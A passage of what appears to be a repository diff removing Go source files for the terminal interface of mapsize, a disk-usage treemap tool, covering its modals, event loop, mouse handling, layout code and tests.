add := func(k, v string) { out = append(out, kv(k, v, ks, vs)) }
addS := func(k, v string, st Style) { out = append(out, kv(k, v, ks, st)) }
blank := func() { out = append(out, txt("")) }
col := m.colorOf(int64(md.id))
title := Style{FG: col.Mix(RGB(255, 255, 255), 0.3), Attr: Bold}
for _, l := range wrap(textutil.Sanitize(n.Name), w) {
out = append(out, styled(l, title))
}
blank()
out = append(out, styled("Path", ks))
for _, l := range wrap(textutil.Sanitize(tr.Path(md.id)), w) {
out = append(out, styled(l, vs))
}
if textutil.Sanitize(n.Name) != n.Name {
out = append(out, styled("Name contains control or invalid characters (shown escaped)", warn))
}
blank()
if n.IsDir() {
addS("Total logical", fmt.Sprintf("%s (%s bytes)", textutil.Size(n.TotSize), textutil.Count(n.TotSize)), bold)
addS("Total allocated", fmt.Sprintf("%s (%s bytes)", textutil.Size(n.TotAlloc), textutil.Count(n.TotAlloc)), bold)
add("Files", textutil.Count(int64(n.Files)))
add("Directories", textutil.Count(int64(n.Dirs)))
if p := n.Parent; p != inventory.NoNode {
add("Of parent", textutil.Percent(n.Total(m.sizeMode), tr.Node(p).Total(m.sizeMode)))
}
add("Of scan", textutil.Percent(n.Total(m.sizeMode), tr.Node(0).Total(m.sizeMode)))
k := m.kidsOf(md.id)
if len(k.ids) > 0 {
add("Largest child", fmt.Sprintf("%s (%s)", textutil.Sanitize(tr.Node(k.ids[0]).Name), textutil.Size(k.sizes[0])))
}
if n.Errors > 0 {
addS("Errors beneath", textutil.Count(int64(n.Errors)), Style{FG: t.Err, Attr: Bold})
}
state := "complete"
switch {
case n.Flags&inventory.FlagIncomplete != 0:
state = "incomplete (not fully read)"
case n.Flags&inventory.FlagScanned == 0 && m.scanning:
state = "scanning…"
case n.Flags&(inventory.FlagSkippedFS|inventory.FlagVirtualFS|inventory.FlagLoop) != 0:
state = "not descended"
}
add("Scan state", state)
} else {
addS("Logical size", fmt.Sprintf("%s (%s bytes)", textutil.Size(n.Size), textutil.Count(n.Size)), bold)
alloc := fmt.Sprintf("%s (%s bytes)", textutil.Size(n.Alloc), textutil.Count(n.Alloc))
if n.Flags&inventory.FlagAllocUnknown != 0 {
alloc = "unknown on this platform"
}
addS("Allocated size", alloc, bold)
if p := n.Parent; p != inventory.NoNode {
add("Of parent", textutil.Percent(n.Own(m.sizeMode), tr.Node(p).Total(m.sizeMode)))
}
}
if r := m.search.result; r != nil {
add("Matching filter", textutil.Size(r.Size(md.id)))
}
if d := m.opts.Diff; d != nil {
if old, ok := d.OldSize(md.id, m.sizeMode); ok {
add("In old snapshot", textutil.Size(old))
addS("Change", textutil.SignedSize(n.Total(m.sizeMode)-old), bold)
} else {
addS("Change", "new since old snapshot", Style{FG: t.DiffNew, Attr: Bold})
}
}
blank()
add("Type", n.Kind.String())
if !n.IsDir() {
if e := tr.ExtName(n); e != "" {
add("Extension", textutil.Sanitize(e))
}
add("Category", n.Cat.String())
}
blank()
if n.MTime > 0 {
add("Modified", fmtTime(n.MTime))
}
if md.btime > 0 {
add("Created", fmtTime(md.btime))
}
blank()
add("Mode", fs.FileMode(n.Mode).String())
add("Owner", textutil.Sanitize(platform.UserName(n.UID)))
add("Group", textutil.Sanitize(platform.GroupName(n.GID)))
if !n.IsDir() {
add("Hard links", fmt.Sprint(n.Nlink))
sparse := "No"
if n.Flags&inventory.FlagSparse != 0 {
sparse = fmt.Sprintf("Yes (or compressed) — %s not allocated", textutil.Size(n.Size-n.Alloc))
}
add("Sparse", sparse)
}
if fl := export.FlagList(n.Flags &^ (inventory.FlagScanned | inventory.FlagSparse)); len(fl) > 0 {
addS("Flags", strings.Join(fl, ", "), warn)
}
if n.Flags&inventory.FlagHardlinkDup != 0 {
out = append(out, styled("Another path to this inode was counted; this one adds nothing to totals.", Style{FG: t.Muted}))
}
if m.snapshot {
out = append(out, txt(""), styled("From snapshot — metadata as recorded, not live.", Style{FG: t.Muted}))
}
return out
}
func fmtTime(ns int64) string { return time.Unix(0, ns).Format("2006-01-02 15:04:05") }
func (md *infoModal) key(m *Model, k string) (bool, tea.Cmd) {
switch k {
case "c":
return false, m.copyPath(m.tree.Path(md.id))
case "o":
m.sel = int64(md.id)
// Headless, o navigates the map, which the modal would cover.
return platform.Headless(), m.reveal()
case "enter":
return true, nil
case "g", "right":
m.jumpTo(md.id)
return true, nil
case "d", "delete":
m.sel = int64(md.id)
return true, m.requestTrash()
}
return false, nil
}
// ---- LOD group ------------------------------------------------------------------
type groupModal struct{ g *group }
func newGroupModal(_ *Model, g *group) modal { return &groupModal{g} }
func (*groupModal) width() int { return 70 }
func (*groupModal) title() string { return "Smaller items (grouped)" }
func (*groupModal) footer(*Model) string { return "Esc close · Space shows them in the list view" }
func (md *groupModal) content(m *Model, w int) []line {
t := m.theme
out := []line{
txt(fmt.Sprintf("%s items too small to draw individually at this size,", textutil.Count(int64(len(md.g.ids))))),
txt(fmt.Sprintf("totalling %s. Zoom in or enlarge the terminal to see them.", textutil.Size(md.g.size))),
txt(""),
}
for i, id := range md.g.ids {
if i == 200 {
out = append(out, styled(fmt.Sprintf("… and %s more", textutil.Count(int64(len(md.g.ids)-200))), Style{FG: t.Muted}))
break
}
n := m.tree.Node(id)
name := textutil.Sanitize(n.Name)
if n.IsDir() {
name += "/"
}
out = append(out, line{{textutil.PadLeft(textutil.Size(m.sizeOf(id)), 11) + " ", &Style{FG: t.Muted}},
{textutil.Truncate(name, w-13), &Style{FG: m.colorOf(int64(id)).Mix(t.Fg, 0.4)}}})
}
return out
}
func (md *groupModal) key(m *Model, k string) (bool, tea.Cmd) {
if k == "enter" {
m.sel = int64(md.g.ids[0])
m.setViewByName("List")
return true, nil
}
return false, nil
}
// ---- Help ---------------------------------------------------------------------
type helpModal struct{}
func newHelpModal(*Model) modal { return helpModal{} }
func (helpModal) width() int { return 78 }
func (helpModal) title() string { return "Keyboard reference" }
func (helpModal) footer(*Model) string { return "Esc close · ↑↓ scroll" }
func (helpModal) content(m *Model, _ int) []line {
t := m.theme
h := Style{FG: t.Accent, Attr: Bold}
k := Style{FG: t.Sel, Attr: Bold}
d := Style{FG: t.Fg}
var out []line
sec := func(s string) {
if len(out) > 0 {
out = append(out, txt(""))
}
out = append(out, styled(s, h))
}
row := func(keys, desc string) { out = append(out, line{{" " + textutil.PadRight(keys, 19), &k}, {desc, &d}}) }
sec("NAVIGATION")
row("↑ ↓ ← → hjkl", "move spatially through the treemap")
row("Enter", "inspect the selected item")
row("Space →", "zoom into the selected directory")
row("Backspace ←", "zoom out one level")
row("Home", "back to the scan root")
row("click / dbl-click", "select / zoom (mouse)")
row("wheel", "zoom in/out (map), scroll (lists)")
sec("SEARCH & FILTER")
row("/", "search or filter; the map shows only matches")
row("Esc", "clear the filter")
out = append(out, styled(" ubuntu *.iso size > 5GB ext IN (iso,qcow2) age > 365d", Style{FG: t.Muted}))
out = append(out, styled(" path contains cache AND NOT type = dir owner = andy flag = sparse", Style{FG: t.Muted}))
fields := strings.Fields(filter.Fields)
out = append(out, styled(" fields: "+strings.Join(fields[:7], " "), Style{FG: t.Muted}))
out = append(out, styled(" "+strings.Join(fields[7:], " "), Style{FG: t.Muted}))
out = append(out, styled(" sizes: KiB/MiB/GiB (1024), kB/MB/GB (1000); ages: s min h d w mo y", Style{FG: t.Muted}))
sec("VIEWS")
row("Tab Shift+Tab", "next / previous view")
row("1 – 7", "jump to a view")
row("x", "file types (extension statistics)")
row("g", "top lists: largest, oldest, sparse, hard links …")
row("e", "scan information and errors")
row("D", "find duplicate files (reads file contents)")
sec("APPLICATION")
row("a", "toggle allocated / logical (apparent) size")
row("c", "copy path to clipboard")
row("o", revealVerb())
if !m.opts.ReadOnly {
row("d", deleteVerb()+" (asks first)")
}
row("s", "save snapshot")
row("r", "rescan")
row("T", "cycle colour theme")
row("Ctrl+C", "cancel scan; press again to quit")
row("q", "quit")
out = append(out, txt(""))
units := "IEC (KiB = 1024 bytes)"
if textutil.SI {
units = "SI (kB = 1000 bytes)"
}
out = append(out, styled("Sizes: "+m.sizeMode.String()+" · units: "+units, Style{FG: t.Muted}))
return out
}
func (helpModal) key(*Model, string) (bool, tea.Cmd) { return false, nil }
// ---- Confirmation -------------------------------------------------------------
type confirmModal struct {
ttl string
body []string
yes string
onYes func(m *Model) tea.Cmd
}
func (c *confirmModal) width() int {
w := 40
for _, b := range c.body {
w = max(w, textutil.Width(b))
}
return min(w, 90)
}
func (c *confirmModal) title() string { return c.ttl }
func (c *confirmModal) footer(*Model) string { return "y " + c.yes + " · n / Esc cancel" }
func (c *confirmModal) content(m *Model, w int) []line {
var out []line
for _, b := range c.body {
for _, l := range wrap(b, w) {
out = append(out, txt(l))
}
}
return out
}
func (c *confirmModal) key(m *Model, k string) (bool, tea.Cmd) {
switch k {
case "y", "Y":
return true, c.onYes(m)
case "n", "N", "enter":
return true, nil
}
return false, nil
}
// ---- Save snapshot ---------------------------------------------------------------
type saveModal struct{ ed lineEditor }
func newSaveModal(m *Model) modal {
md := &saveModal{}
md.ed.set(defaultSnapshotName(m.tree.Stats.Root))
return md
}
func (*saveModal) editing() bool { return true }
func (md *saveModal) editor() *lineEditor { return &md.ed }
func (*saveModal) width() int { return 70 }
func (*saveModal) title() string { return "Save snapshot" }
func (*saveModal) footer(*Model) string { return "Enter save · Esc cancel" }
func (md *saveModal) content(m *Model, w int) []line {
t := m.theme
out := []line{txt("File:")}
s := textutil.Sanitize(md.ed.String())
for _, l := range wrap(s+"█", w) {
out = append(out, styled(l, Style{FG: t.Fg, Attr: Bold}))
}
if m.scanning {
out = append(out, txt(""), styled("The scan is still running: the snapshot will be marked incomplete.", Style{FG: t.Warn}))
}
return out
}
func (md *saveModal) key(m *Model, k string) (bool, tea.Cmd) {
switch k {
case "esc":
return true, nil
case "enter":
p := strings.TrimSpace(md.ed.String())
if p == "" {
return false, nil
}
return true, tea.Batch(m.saveSnapshot(p), m.info("Saving snapshot…"))
}
return false, nil
}
// revealVerb and deleteVerb describe o and d, which change meaning on a
// headless system.
func revealVerb() string {
if platform.Headless() {
return "show folder in map"
}
return "reveal in file manager"
}
func deleteVerb() string {
if platform.Headless() {
return "delete permanently"
}
return "move to " + platform.TrashName
}
-447
View File
@@ -1,447 +0,0 @@
// Package tui is the interactive terminal interface. All drawing goes to a
// Canvas; Bubble Tea only transports the finished frame.
//
// Threading: Update and View run on Bubble Tea's event goroutine. The scan
// controller mutates the inventory concurrently, so every read of tree data
// happens under tree.RLock (taken once per frame in View, and briefly in key
// handlers). The model itself is only touched on the event goroutine.
package tui
import (
"context"
"fmt"
"log/slog"
"os"
"path/filepath"
"strings"
"time"
tea "charm.land/bubbletea/v2"
"github.com/charmbracelet/colorprofile"
"github.com/andydixon/mapsize/internal/brand"
"github.com/andydixon/mapsize/internal/config"
"github.com/andydixon/mapsize/internal/filter"
"github.com/andydixon/mapsize/internal/inventory"
"github.com/andydixon/mapsize/internal/scan"
"github.com/andydixon/mapsize/internal/snapshot"
"github.com/andydixon/mapsize/internal/textutil"
"github.com/andydixon/mapsize/internal/treemap"
)
// Options configures the interactive session.
type Options struct {
ReadOnly bool
Theme string
SizeMode inventory.SizeMode
Mouse bool
Color string // auto, truecolor, 256, 16, none
Save string // save a snapshot here when the scan completes
Settings config.Settings
Diff *snapshot.Diff // compare mode
// Start begins a scan (or returns a loaded tree with a nil scanner).
Start func(ctx context.Context) (*scan.Scanner, *inventory.Tree, error)
}
// Messages.
type (
tickMsg time.Time
scanDoneMsg struct{ s *scan.Scanner }
fatalMsg struct {
v any
stack []byte
}
filterMsg struct {
gen int
res *filter.Result
err error
}
filterDebounceMsg struct{ gen int }
)
// Model is the Bubble Tea model.
type Model struct {
opts Options
theme *Theme
scanner *scan.Scanner
tree *inventory.Tree
cancel context.CancelFunc
scanning bool
snapshot bool // tree was loaded from a snapshot (not the live filesystem)
ctrlC bool // a Ctrl+C already cancelled the scan
w, h int
profile colorprofile.Profile
forced bool // profile forced by --color
sizeMode inventory.SizeMode
views []view
view int
zoom inventory.NodeID
sel int64 // selected block: NodeID, or groupID(parent) for an LOD group
// userSel is set once the user has chosen a selection; before that the
// selection follows the largest block.
userSel bool
zoomed bool // zoom changed during this message (zoomTo set userSel)
search searchState
modals []modal
toast string
toastStyle Style
toastUntil time.Time
// Frame and data caches.
dirty bool
frame string
dataVer int // bumped when sizes/filters change; invalidates caches
lastData time.Time // last time dataVer advanced during a scan
kidsCache map[inventory.NodeID]*kids
kidsVer int
tm *tmLayout
hits []hit // clickable regions from the last frame
hover int64
lastClick time.Time
lastClickI int64
ticking bool
pendingZoom string // path to re-zoom after a rescan
dups *dupState
fatal *fatalMsg
quit bool
}
// hit is a clickable region recorded while painting.
type hit struct {
r treemap.Rect
fn func(m *Model, double bool) tea.Cmd
}
func groupID(parent inventory.NodeID) int64 { return -1 - int64(parent) }
func isGroup(id int64) bool { return id < 0 }
func groupParent(id int64) inventory.NodeID { return inventory.NodeID(-1 - id) }
func newModel(opts Options, s *scan.Scanner, t *inventory.Tree, cancel context.CancelFunc) *Model {
m := &Model{
opts: opts, scanner: s, tree: t, cancel: cancel, scanning: s != nil, snapshot: s == nil,
sizeMode: opts.SizeMode, dirty: true, kidsCache: map[inventory.NodeID]*kids{}, hover: noSel,
lastClickI: noSel,
}
name := opts.Theme
if name == "" || name == "default" {
if _, ok := os.LookupEnv("NO_COLOR"); ok {
name = "mono"
}
}
m.theme = LoadTheme(name, opts.Settings)
if strings.EqualFold(os.Getenv("TERM"), "linux") || os.Getenv("MAPSIZE_ASCII") != "" {
m.theme.ASCII = true
}
m.views = []view{&mapView{}, &listView{}, &extView{}, &topView{}, &infoView{}}
if opts.Diff != nil {
m.views = append(m.views, &changesView{})
}
m.zoom = t.Root()
m.sel = noSel
return m
}
const noSel int64 = 1 << 62
// debugPanic lets developers verify terminal restoration on crashes:
// MAPSIZE_DEBUG_PANIC=ui panics on the first key press; =scanner panics in
// a background goroutine shortly after start.
var debugPanic = os.Getenv("MAPSIZE_DEBUG_PANIC")
// Init starts ticking and waits for scan completion.
func (m *Model) Init() tea.Cmd {
cmds := []tea.Cmd{tea.RequestWindowSize}
if m.scanning {
cmds = append(cmds, waitScan(m.scanner), m.startTicking())
}
return tea.Batch(cmds...)
}
func waitScan(s *scan.Scanner) tea.Cmd {
return func() tea.Msg { <-s.Done(); return scanDoneMsg{s} }
}
func (m *Model) refreshInterval() time.Duration {
hz := m.opts.Settings.RefreshHz
if hz <= 0 {
hz = 10
}
return time.Second / time.Duration(hz)
}
// startTicking returns a tick command unless one is already pending.
func (m *Model) startTicking() tea.Cmd {
if m.ticking {
return nil
}
m.ticking = true
return tea.Tick(m.refreshInterval(), func(t time.Time) tea.Msg { return tickMsg(t) })
}
func (m *Model) needsTicks() bool {
return m.scanning || time.Now().Before(m.toastUntil) || (m.dups != nil && m.dups.running)
}
// notify shows a transient status message.
func (m *Model) notify(s string, st Style) tea.Cmd {
m.toast, m.toastStyle, m.toastUntil = s, st, time.Now().Add(4*time.Second)
m.dirty = true
return m.startTicking()
}
func (m *Model) info(s string) tea.Cmd {
return m.notify(s, Style{FG: m.theme.Fg, BG: m.theme.StatusBg})
}
func (m *Model) warn(s string) tea.Cmd {
return m.notify(s, Style{FG: m.theme.Warn, BG: m.theme.StatusBg, Attr: Bold})
}
// invalidate marks size-dependent caches stale.
func (m *Model) invalidate() {
m.dataVer++
m.dirty = true
}
// Update handles one message.
func (m *Model) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
cmd := m.update(msg)
if m.quit {
return m, tea.Quit
}
return m, cmd
}
func (m *Model) update(msg tea.Msg) tea.Cmd {
switch msg := msg.(type) {
case tea.WindowSizeMsg:
// Only record the size; layout is recomputed lazily in View, so a
// storm of resize events costs at most one layout per frame.
if msg.Width != m.w || msg.Height != m.h {
m.w, m.h = msg.Width, msg.Height
m.dirty = true
}
case tickMsg:
m.ticking = false
if m.scanning {
m.dirty = true
if time.Since(m.lastData) >= 400*time.Millisecond {
m.invalidate()
m.lastData = time.Now()
}
m.resolvePendingZoom()
}
if m.toast != "" && time.Now().After(m.toastUntil) {
m.toast = ""
m.dirty = true
}
var cmds []tea.Cmd
if m.scanning && m.search.query != nil && time.Since(m.search.appliedAt) > time.Second {
cmds = append(cmds, m.applyFilter())
}
if m.dups != nil && m.dups.running {
m.dirty = true
}
if m.needsTicks() {
cmds = append(cmds, m.startTicking())
}
return tea.Batch(cmds...)
case scanDoneMsg:
if msg.s != m.scanner {
return nil // a superseded scan
}
return m.scanFinished()
case filterMsg:
return m.filterResult(msg)
case filterDebounceMsg:
if msg.gen == m.search.gen {
return m.applyFilter()
}
case dupProgressMsg, dupDoneMsg:
return m.dupMsg(msg)
case trashDoneMsg:
return m.trashDone(msg)
case saveDoneMsg:
if msg.err != nil {
return m.warn("Snapshot save failed: " + textutil.Sanitize(msg.err.Error()))
}
return m.info("Saved snapshot " + textutil.Sanitize(msg.path))
case fatalMsg:
m.fatal = &msg
m.quit = true
case tea.KeyPressMsg:
if debugPanic == "ui" {
panic("MAPSIZE_DEBUG_PANIC=ui: deliberate panic to test terminal restoration")
}
m.dirty = true
prev := m.sel
m.zoomed = false
cmd := m.handleKey(msg)
m.noteSelection(prev)
return cmd
case tea.MouseClickMsg:
prev := m.sel
m.zoomed = false
cmd := m.mouseClick(msg.Mouse())
m.noteSelection(prev)
return cmd
case tea.MouseWheelMsg:
return m.mouseWheel(msg.Mouse())
case tea.MouseMotionMsg:
m.mouseMotion(msg.Mouse())
case tea.ColorProfileMsg:
if !m.forced {
m.profile = msg.Profile
}
m.dirty = true
}
return nil
}
// noteSelection records that the user chose a selection explicitly.
func (m *Model) noteSelection(prev int64) {
if !m.zoomed && m.sel != prev && m.sel != noSel {
m.userSel = true
}
}
func (m *Model) scanFinished() tea.Cmd {
m.scanning = false
m.invalidate()
m.resolvePendingZoom()
t := m.tree
t.RLock()
st := t.Stats
r := t.Node(t.Root())
total := r.Total(m.sizeMode)
files := st.Files + st.Symlinks + st.Others
errs := st.TotalErrors()
el := st.Elapsed()
t.RUnlock()
slog.Info("scan finished", "files", files, "dirs", st.Dirs, "bytes", total, "errors", errs,
"cancelled", st.Cancelled, "elapsed", el)
var cmds []tea.Cmd
rate := float64(files+st.Dirs) / max(el.Seconds(), 0.001)
msg := fmt.Sprintf("✓ Scan complete %s · %s files · %s dirs · %s · %s/s",
textutil.Duration(el), textutil.Count(files), textutil.Count(st.Dirs), textutil.Size(total), textutil.Count(int64(rate)))
if st.Cancelled {
msg = "✗ Scan cancelled — totals are incomplete"
}
if errs > 0 {
msg += fmt.Sprintf(" · %s errors (e)", textutil.Count(errs))
}
if st.Cancelled || errs > 0 {
cmds = append(cmds, m.warn(msg))
} else {
cmds = append(cmds, m.notify(msg, Style{FG: m.theme.OK, BG: m.theme.StatusBg, Attr: Bold}))
}
if m.opts.Save != "" && !st.Cancelled {
cmds = append(cmds, m.saveSnapshot(m.opts.Save))
}
if m.search.query != nil {
cmds = append(cmds, m.applyFilter())
}
return tea.Batch(cmds...)
}
// ctrlCPressed: first press cancels a running scan, second quits.
func (m *Model) ctrlCPressed() tea.Cmd {
if m.scanning && !m.ctrlC {
m.ctrlC = true
m.cancel()
return m.warn("Cancelling scan… press Ctrl+C again to quit")
}
m.quit = true
return nil
}
func (m *Model) rescan() tea.Cmd {
if m.snapshot {
return m.warn("Snapshot loaded — nothing to rescan")
}
// Called from handleKey, which holds the old tree's read lock.
m.pendingZoom = m.tree.Path(m.zoom)
m.cancel()
ctx, cancel := context.WithCancel(context.Background())
s, t, err := m.opts.Start(ctx)
if err != nil {
cancel()
return m.warn("Rescan failed: " + textutil.Sanitize(err.Error()))
}
m.scanner, m.tree, m.cancel, m.scanning, m.ctrlC = s, t, cancel, s != nil, false
m.zoom, m.sel = t.Root(), noSel
m.kidsCache = map[inventory.NodeID]*kids{}
if m.dups != nil {
m.dups.cancel()
m.dups = nil
// Drop the duplicates view: its rows referred to the old tree.
for i, v := range m.views {
if _, ok := v.(*dupView); ok {
m.views = append(m.views[:i], m.views[i+1:]...)
m.view = 0
break
}
}
}
m.search.result = nil
m.search.gen++ // results computed against the old tree are discarded
m.invalidate()
return tea.Batch(waitScan(s), m.startTicking(), m.info("Rescanning…"), m.applyFilter())
}
// resolvePendingZoom re-zooms into the remembered directory once the new
// scan has discovered it.
func (m *Model) resolvePendingZoom() {
if m.pendingZoom == "" {
return
}
m.tree.RLock()
defer m.tree.RUnlock()
root := m.tree.Path(m.tree.Root())
rel, err := filepath.Rel(root, m.pendingZoom)
if err != nil || strings.HasPrefix(rel, "..") {
m.pendingZoom = ""
return
}
id := m.tree.Root()
if rel != "." {
for _, part := range strings.Split(rel, string(filepath.Separator)) {
next := inventory.NoNode
m.tree.Children(id, func(c inventory.NodeID, n *inventory.Node) {
if n.Name == part {
next = c
}
})
if next == inventory.NoNode {
return // not discovered yet
}
id = next
}
}
m.zoom = id
m.pendingZoom = ""
m.dirty = true
}
// View renders the frame. Expensive work happens only when something
// changed; otherwise the cached frame is returned.
func (m *Model) View() tea.View {
if m.dirty || m.frame == "" {
m.frame = m.render()
m.dirty = false
}
v := tea.NewView(m.frame)
v.AltScreen = true
if m.opts.Mouse {
v.MouseMode = tea.MouseModeAllMotion
}
v.WindowTitle = brand.Name
return v
}
-110
View File
@@ -1,110 +0,0 @@
package tui
import (
"time"
tea "charm.land/bubbletea/v2"
"github.com/andydixon/mapsize/internal/inventory"
)
const doubleClick = 400 * time.Millisecond
func (m *Model) mouseClick(ev tea.Mouse) tea.Cmd {
t := m.tree
t.RLock()
defer t.RUnlock()
m.dirty = true
if len(m.modals) > 0 {
// Clicking outside the modal closes it.
if len(m.hits) > 0 && !m.hits[0].r.Contains(ev.X, ev.Y) {
m.closeModal()
}
return nil
}
if ev.Button == tea.MouseRight {
for _, h := range m.hits {
if h.r.Contains(ev.X, ev.Y) {
h.fn(m, false)
return m.inspectSelection()
}
}
return nil
}
if ev.Button != tea.MouseLeft {
return nil
}
for i := len(m.hits) - 1; i >= 0; i-- {
h := m.hits[i]
if h.r.Contains(ev.X, ev.Y) {
key := int64(ev.Y)<<32 | int64(i)
double := time.Since(m.lastClick) < doubleClick && m.lastClickI == key
m.lastClick, m.lastClickI = time.Now(), key
if double {
m.lastClickI = noSel
}
return h.fn(m, double)
}
}
return nil
}
// clickBlock selects a treemap block; a double click zooms (or inspects).
func (m *Model) clickBlock(id int64, double bool) tea.Cmd {
m.sel = id
if !double {
return nil
}
if !isGroup(id) && !m.tree.Node(inventory.NodeID(id)).IsDir() {
return m.inspectSelection()
}
return m.zoomIntoSelection()
}
func (m *Model) mouseWheel(ev tea.Mouse) tea.Cmd {
t := m.tree
t.RLock()
defer t.RUnlock()
m.dirty = true
up := ev.Button == tea.MouseWheelUp
if ev.Button != tea.MouseWheelUp && ev.Button != tea.MouseWheelDown {
return nil
}
if len(m.modals) > 0 {
f := m.modals[len(m.modals)-1].(*modalFrame)
if up {
f.scroll -= 3
} else {
f.scroll += 3
}
f.clampScroll()
return nil
}
if up {
// Zoom towards the block under the pointer.
if l := m.tm; l != nil && m.view == 0 {
for _, b := range l.blocks {
if b.Contains(ev.X, ev.Y) {
m.sel = b.ID
}
}
}
}
return m.views[m.view].wheel(m, up)
}
func (m *Model) mouseMotion(ev tea.Mouse) {
h := noSel
if l := m.tm; l != nil && m.view == 0 && len(m.modals) == 0 {
for _, b := range l.blocks {
if b.Contains(ev.X, ev.Y) {
h = b.ID
break
}
}
}
if h != m.hover {
m.hover = h
m.dirty = true
}
}
-89
View File
@@ -1,89 +0,0 @@
package tui
import (
"context"
"fmt"
"strings"
"testing"
"github.com/charmbracelet/colorprofile"
"github.com/charmbracelet/x/ansi"
"github.com/andydixon/mapsize/internal/inventory"
"github.com/andydixon/mapsize/internal/scan"
)
func rootTree() *inventory.Tree {
t := inventory.New("/", inventory.KindDir)
add := func(p inventory.NodeID, name string, size int64) {
id := t.Add(p, name, inventory.KindFile)
n := t.Node(id)
n.Size, n.Alloc = size, size
n.Cat = inventory.CategoryFor(inventory.Ext(name), false, false)
}
dir := func(p inventory.NodeID, name string) inventory.NodeID {
id := t.Add(p, name, inventory.KindDir)
t.Node(id).Flags |= inventory.FlagScanned
return id
}
mnt := dir(0, "mnt")
raid := dir(mnt, "raid")
media := dir(raid, "media")
for _, show := range []string{"X-Files", "Simpsons", "Frasier"} {
s := dir(media, show)
for i := 1; i <= 5; i++ {
se := dir(s, fmt.Sprintf("S%02d", i))
for e := 1; e <= 20; e++ {
add(se, fmt.Sprintf("E%02d.mkv", e), int64(e)<<28)
}
}
}
usr := dir(0, "usr")
lib := dir(usr, "lib")
for i := range 50 {
add(lib, fmt.Sprintf("lib%d.so", i), int64(i+1)<<22)
}
v := dir(0, "var")
add(dir(v, "log"), "syslog", 2<<30)
t.Recompute()
t.Stats.Complete = true
return t
}
// A single-child chain (mnt → raid → media) must not use up the nesting
// budget: the map at / should reach the seasons and their episodes.
func TestNestingReachesDeepMedia(t *testing.T) {
tr := rootTree()
m := newModel(Options{Start: func(context.Context) (*scan.Scanner, *inventory.Tree, error) { return nil, tr, nil }}, nil, tr, func() {})
m.profile = colorprofile.TrueColor
send(m, size(160, 45))
if out := ansi.Strip(m.View().Content); !strings.Contains(out, "mnt/raid/media/") || !strings.Contains(out, "S01/") {
t.Fatalf("chain or seasons missing:\n%s", out)
}
files := 0
for _, nb := range m.tm.nested {
if nb.id >= 0 && !tr.Node(inventory.NodeID(nb.id)).IsDir() {
files++
}
}
if files < 50 {
t.Fatalf("only %d episode blocks drawn", files)
}
}
// Headless, o shows the selected folder in the map instead of launching a
// file manager.
func TestRevealHeadlessZoomsMap(t *testing.T) {
t.Setenv("DISPLAY", "")
t.Setenv("WAYLAND_DISPLAY", "")
tr := rootTree()
m := newModel(Options{Start: func(context.Context) (*scan.Scanner, *inventory.Tree, error) { return nil, tr, nil }}, nil, tr, func() {})
send(m, size(160, 45))
mnt := m.kidsOf(m.zoom).ids[0]
m.snapshot = false // reveal is refused for snapshots
m.sel, m.userSel = int64(mnt), true
send(m, key("o"))
if m.zoom != mnt {
t.Fatalf("zoom = %q, want mnt", tr.Path(m.zoom))
}
}
-422
View File
@@ -1,422 +0,0 @@
package tui
import (
"fmt"
"strings"
"time"
tea "charm.land/bubbletea/v2"
"github.com/charmbracelet/colorprofile"
"github.com/andydixon/mapsize/internal/brand"
"github.com/andydixon/mapsize/internal/inventory"
"github.com/andydixon/mapsize/internal/textutil"
"github.com/andydixon/mapsize/internal/treemap"
)
// Minimum usable terminal size.
const minW, minH = 40, 10
type sizeClass int
const (
tooSmall sizeClass = iota
small
medium
large
)
// geometry is the panel layout for one terminal size. It is recomputed from
// scratch for every frame, so resizing can never leave stale geometry.
type geometry struct {
class sizeClass
tabs, crumbs treemap.Rect // tabs is empty in the small layout
main, side, info, stat treemap.Rect
}
func computeGeometry(w, h int) geometry {
g := geometry{}
switch {
case w < minW || h < minH:
g.class = tooSmall
return g
case w >= 150 && h >= 36:
g.class = large
case w >= 90 && h >= 22:
g.class = medium
default:
g.class = small
}
y := 0
if g.class >= medium {
g.tabs = treemap.Rect{X: 0, Y: 0, W: w, H: 1}
y = 1
}
g.crumbs = treemap.Rect{X: 0, Y: y, W: w, H: 1}
y++
bottom := h - 1
g.stat = treemap.Rect{X: 0, Y: h - 1, W: w, H: 1}
if g.class >= medium {
g.info = treemap.Rect{X: 0, Y: h - 2, W: w, H: 1}
bottom = h - 2
}
g.main = treemap.Rect{X: 0, Y: y, W: w, H: bottom - y}
if g.class == large {
sw := min(40, w/5)
g.side = treemap.Rect{X: 0, Y: y, W: sw, H: g.main.H}
g.main.X, g.main.W = sw, w-sw
}
return g
}
func (m *Model) render() string {
t := m.theme
cv := NewCanvas(m.w, m.h, t.base())
m.hits = m.hits[:0]
g := computeGeometry(m.w, m.h)
if g.class == tooSmall {
m.renderTooSmall(cv)
return cv.Render(m.depth())
}
m.tree.RLock()
defer m.tree.RUnlock()
m.ensureSelection()
if g.tabs.W > 0 {
m.paintTabs(cv, g.tabs)
}
m.paintCrumbs(cv, g.crumbs)
if !g.side.Empty() {
m.paintSide(cv, g.side)
}
m.views[m.view].paint(m, cv, g.main)
if !g.info.Empty() {
m.paintInfoLine(cv, g.info)
}
m.paintStatus(cv, g.stat, g.class)
if g.class == small && m.search.editing {
m.paintSearch(cv, g.stat)
}
if len(m.modals) > 0 {
m.paintModal(cv)
}
return cv.Render(m.depth())
}
func (m *Model) depth() colorDepth {
switch m.profile {
case colorprofile.ANSI256:
return depth256
case colorprofile.ANSI:
return depth16
}
return depthTrue
}
func (m *Model) renderTooSmall(cv *Canvas) {
st := m.theme.muted()
lines := []string{"Terminal too small", fmt.Sprintf("%d×%d — need %d×%d", m.w, m.h, minW, minH), "q quits"}
y0 := max(0, (m.h-len(lines))/2)
for i, l := range lines {
cv.TextCentered(0, y0+i, m.w, l, st)
}
}
// paintTabs draws the view tabs and mode chips.
func (m *Model) paintTabs(cv *Canvas, r treemap.Rect) {
t := m.theme
cv.Fill(r, " ", t.header())
badge := " ◧ " + brand.Name + " "
if t.ASCII {
badge = " " + brand.Name + " "
}
x := cv.Text(r.X, r.Y, badge, r.W, Style{FG: t.textOn(t.Accent), BG: t.Accent, Attr: Bold | m.monoRev()})
x++
for i, v := range m.views {
label := " " + v.name() + " "
st := Style{FG: t.Muted, BG: t.HeaderBg}
if i == m.view {
st = Style{FG: t.Fg, BG: t.Bg, Attr: Bold | Underline}
}
if x+textutil.Width(label) >= r.W-30 {
break
}
w := cv.Text(x, r.Y, label, r.W-x, st)
idx := i
